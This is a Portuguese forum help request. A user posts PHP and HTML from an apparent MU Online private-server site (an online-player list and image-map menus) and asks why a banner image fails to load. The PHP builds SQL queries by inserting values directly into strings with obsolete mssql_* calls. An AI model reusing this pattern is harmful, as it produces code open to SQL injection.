//$i<mssql_num_rows($result) to $i < 100
for($i=0;$i < $xex;++$i)
{
$row = mssql_fetch_row($result);

$query1 = "select ConnectStat,ConnectTM,DisConnectTM,IP from MEMB_STAT WHERE memb___id='$row[1]'";
$result1 = mssql_query( $query1 );
$row1 = mssql_fetch_row($result1);
if ($row1[0] == 1) {
$status = '<img title="Online" border="0" src="imagens/online.png" >';
$ccc = 'green';

$sql_pw_check = mssql_query("select GameIDC from AccountCharacter WHERE GameIDC='$row[0]'");
$pw_check = mssql_num_rows($sql_pw_check);

}
if (($row1[0] == 0) || ($pw_check <= 0)) {
$status = '<img title="Offline" border="0" src="imagens/offline.png" >';
$ccc = 'red';
}

echo '<tr><center><td width=100><center>';
echo "<center><font color=#CCCCCC><b>$row[0]";
echo '</b></font></center></td><td width=100><center>';
echo "<center><font color=$ccc>$status";
echo '</font></td>';
}
echo '</table>';

echo '</body>';
echo '</html>';

$conn=mssql_close();
?>
            </span></th>
            <th width="46" scope="col"> </th>
          </tr>
        </table></th>
      </tr>
    </table></th>
  </tr>
  <tr>
    <th height="90" scope="col"><table width="1004" height="90" border="0" align="left" cellpadding="0" cellspacing="0">
      <tr>
        <th width="1013" height="90" background="imagens/index_01.png" scope="col"><Br /><Br /><Br />
          <span class="style8"><span class="style9"></span>   </span></th>
      </tr>
    </table></th>
  </tr>
</table>
<map name="Map" id="Map">
  <area shape="rect" coords="49,76,225,181" href="brexo.php" target="home" />
  <area shape="rect" coords="143,20,230,30" href="WebShop/index.php" target="_blank" />
</map>
<map name="Map2" id="Map2">
  <area shape="rect" coords="735,48,785,63" href="ojogo.php" target="home"  />
  <area shape="rect" coords="808,45,857,60" href="forum.php" target="home" />
  <area shape="rect" coords="107,45,154,61" href="home.php" target="home" />
<area shape="rect" coords="172,45,237,62" href="cadastro.php" target="home" />
<area shape="rect" coords="252,44,331,61" href="downloads.php" target="home" />
<area shape="rect" coords="350,45,412,62" href="ran.php" target="home" />
<area shape="rect" coords="434,49,518,63" href="info.php" target="home" />
<area shape="rect" coords="530,46,594,64" href="shopbd/index.php" />
<area shape="rect" coords="625,47,673,62" href="online.php" target="home" />
<area shape="rect" coords="696,47,723,62" href="faq.php" target="home" />
</map>
<map name="Map3" id="Map3">
<area shape="rect" coords="24,26,188,78" href="http://www.orkut.com.br/Main#Community?cmm=99953851&refresh=1" target="a_blank" />
<area shape="rect" coords="28,115,187,170" href="http://twitter.com/mublooddust" target="a_blank" />
<area shape="rect" coords="23,207,191,261" href="suporte.php" target="home" />
</map>



</body>
</html>
no caso seria na linha 683 que esta a imagem que não carrega
<th width="459" valign="top" background="imagens/banner3.png" scope="col"><Br /><iframe src="home.php" name="home" width="440" height="400" frameborder="0" id="home" border="1"></iframe></th>

se alguém puder me ajudar a arrumar :)

Editado por Peter Link
Link para o comentário
Compartilhar em outros sites

1 resposta a esta questão

Posts Recomendados

Participe da discussão

Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.

Visitante
Responder esta pergunta...

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emoticons são permitidos.

×   Seu link foi incorporado automaticamente.   Exibir como um link em vez disso

×   Seu conteúdo anterior foi restaurado.   Limpar Editor

×   Você não pode colar imagens diretamente. Carregar ou inserir imagens do URL.



  • Estatísticas dos Fóruns

    • Tópicos
      152,3k
    • Posts
      652,4k
×
×
  • Criar Novo...